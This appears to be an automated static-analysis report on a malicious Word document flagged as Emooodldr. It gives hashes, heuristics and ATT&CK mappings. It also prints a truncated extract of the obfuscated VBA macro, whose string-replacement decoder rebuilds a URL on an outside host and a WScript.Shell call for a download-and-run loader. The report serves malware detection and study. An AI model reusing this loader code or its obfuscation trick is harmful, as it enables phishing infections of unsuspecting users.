Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 4e5f3882c33a6a85…

MALICIOUS

Office (OOXML)

62.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: bdface3d904205e62bd928be98269457 SHA-1: 6b6206eb46f81b52e97ddd34d07531866409fd9e SHA-256: 4e5f3882c33a6a85939bca45ee8d543cd770ff3624890250f91c59179ebb6b65
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emooodldr-6711604-0'. Static analysis reveals the presence of obfuscated VBA macros, specifically an 'Auto_Close' macro that utilizes 'CreateObject' and execution sinks, indicative of a loader mechanism. The VBA code appears to be designed to download and execute a secondary payload, as suggested by the 'auto-exec VBA loader' heuristic.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9057 bytes
SHA-256: 6f63e8a68f124a7795714f0b0aea486281340f4d52ac70e15ebabb2032fa9618
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub uVJrCpxuLWxpOV()
  PxEQEyoEgk = "ZPyOHGTIMRQpJXvQqYZbVvWiybM" + RTrim("yUKMCcfHwALNLA") + LTrim("RDkcPTrSRRNHxBPjAygTBNWFzb")
fCGcMoyccLo = Atn(1484) - Atn(2596)
RJjRHWWISf = Atn(301) + Atn(1211) + Atn(629) + 298
HqoWVuIr = "WPS" + Left("XKxVZwCyKq", 4) + Left("nZOkFTvYjU", 2)
iIivTgpJw = "oP" + "qXrTNXdOiWdYWYExgLjrijkGXYuGdo" + RTrim("qFCXbOpgPbjdMnnA") + RTrim("HqbvAroDyJ")
yqjUEvQTd = 811 + 1744 + 1776 + Atn(2799)
  Application.Run "oPbKbiwkvcfVrM"
  kXSSixfH = "pxMZ" + "FS" + "OjwTkkqQgCBU"
zJiMYGDAOG = 178 + Atn(384)
UNqyNqEkD = Left("DvVRkorrpb", 10) + "MYCOWJwJBrbuJyF" + Left("XFyRziPZOU", 9)
UrzujGPnOp = Left("GzQoFvYwfU", 5) + "UCR" + Left("ykMvKDGcDI", 10)
End Sub
Sub PEuLIzYyQzwxAO()
  pUGKIXN = 227 - Atn(406)
OvNSVqLjZ = Atn(2164) - Atn(2773) - Atn(339) - 1506
NGYUjwjEjy = Atn(1606) + Atn(2411) + 81
rdoPNMOPqy = RTrim("fwnOoYWdrUpUCVgRExbWJkWSGH") + "DgUkqQMQLyMfiuX" + "ccYFfJFvKQEuTNOBu"
RwMgXnJPE = Atn(1265) + 1217 + Atn(1758) + Atn(2522)
TMjPxSw = "ALbJ" + Left("qDqBOAUEWC", 8) + "KpTTN"
  Application.Run "EvZGLwCHTZHLIbKu"
  LPgDKCBnGO = "kgWCUuWSTWqPg" + "czqjLWUPBr" + Left("xcAnUuvjXK", 1) + "UriF"
xkbUofnERpEy = Atn(2217) + 1698 + 1726 + 1315
KugRjUSUw = LTrim("VfUQPIKCYiYUOAQGSVGJz") + "piyQEgUGYGogQzwYNYPrZ"
MyyEGNwP = "RUByPMHVRxnAdi" + "KKX"
End Sub

Sub EvZGLwCHTZHLIbKu()
 FAcDNuSZHuWp = Atn(468) - Atn(1436) - 1640 - 1245
VgoojDpOn = Atn(689) + 957 + Atn(541) + Atn(2)
kCWuRLkVc = RTrim("CD") + "oioIqZDFIMzMOxjVJ" + "OzCwcBZPYSpIFiUp"
YxDfxpSK = "cGXrqSAvFFfODzpbpMP" + RTrim("B") + "dwEDxbFXyzEBFJNVSrSIMzgBj" + "IfyvfuyGbyxuxYgTKgQgQzj"
 IFASDGEXVGFdF = "YVYpScofrrwxwBPwbTgppJJPhvOFAiTEKFbgpbDWDHpDPNWNW hvOFAiTEKFbgpvOFAiTEKFbgpp://jnowBPwbTgppJJPwBPwbTgppJJPidjfnwbURPgQbAHQKrqrfbURPgQbAHQKrw.coYVYpScofrrwx/OU/wBPwbTgppJJPvOFAiTEKFbgpbURPgQbAHQKrYVYpScofrrwx.php?uvOFAiTEKFbgpYVYpScofrrwxbDWDHpDPNWNW=boYVYpScofrrwxbbURPgQbAHQKrrf"
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "YVYpScofrrwx", "m")
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "bDWDHpDPNWNW", "a")
yxbcZYrFGgpJ = LTrim("EpAJbjFPQcBLozqJio") + LTrim("wVuDvnPAGxfKLkHLMPkArWjzDSxH") + "yLwyS"
bIUbUoLCO = Left("ugXYRNfROy", 7) + "zynRGujqRWyj" + "dbkdgVYXUPTYCS" + Left("CSPUZYYnIX", 7)
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "wBPwbTgppJJP", "s")
FJioVZKz = "UgIiEBFpciwYOHdEDQvIKnoBdQwR" + "SBWiuKVCyBWAToDfUPFcoCGw"
DjzngMLS = Atn(661) - 496 - 1240
YHbPUCz = Left("OJHwOprrcz", 5) + "PqrX" + "NFdpYMTE" + Left("zKpFVBLVdr", 5)
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "vOFAiTEKFbgp", "t")
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "bURPgQbAHQKr", "e")
IFASDGEXVGFdF = Replace(IFASDGEXVGFdF, "HbQCQJPEbvJr", "l")
nIGjxxNUJ = "bPxXMUwFbWOVAYPVVIkSVXi" + "yDTGkxqFnHdHKZpurW" + "nfHAnnTUOF"
PbjBzYLOL = Left("fMuXXMUiXG", 10) + Left("DqGgpqpXZN", 4) + Left("cyjVcroZcE", 6) + "LH"
OCQBKnE = "xZSIgNkkXBjwTPCCuQyzpgHDi" + RTrim("CqZooJGRIoLrOkjFqpvfoJdUndMyu") + "jBEWQvVzTjFCAfvggU" + "OfzJAqEkgWfkEAEPVITDWRFDTUEwyj"
YpJAPdUCzKEVTHrbHZ = "WScripcyPQFbzHVSYD.ShnnjSZVpkIrQynBQTGGCNRZbnnBQTGGCNRZbn"
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "vkAHCMbgvLnD", "m")
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "iMKJpfKPEzcz", "a")
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "zVjAuOcgbWdB", "s")
DRFLqNfNQ = "oSPuucMbzUqQigOgDUdV" + "LqFYyuxOEzJNZnfn" + RTrim("CH") + "WiMGrANXPbBbYGupbvdHBbfEyRo"
vHBHPBLbzgS = Atn(967) + 1284 + Atn(2902) + 89
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "cyPQFbzHVSYD", "t")
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "nnjSZVpkIrQy", "e")
YpJAPdUCzKEVTHrbHZ = Replace(YpJAPdUCzKEVTHrbHZ, "nBQTGGCNRZbn", "l")
YFUqMPryy = 1120 - 1188 - Atn(918) - Atn(1139)
iLpAwdUnLZI = "FYD" + Left("ipzjKbJuHC", 1) + Left("MQZXqKOQrT", 1) + Left("ipNCJkpyik", 9)
PRkuJgHNX = RTrim("qYuwTCEoWMHZGUvJxNgIACN
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: 3e7a63011403137cf0da4bf4bd05c27c885bf48578063966f06d89729769cef4
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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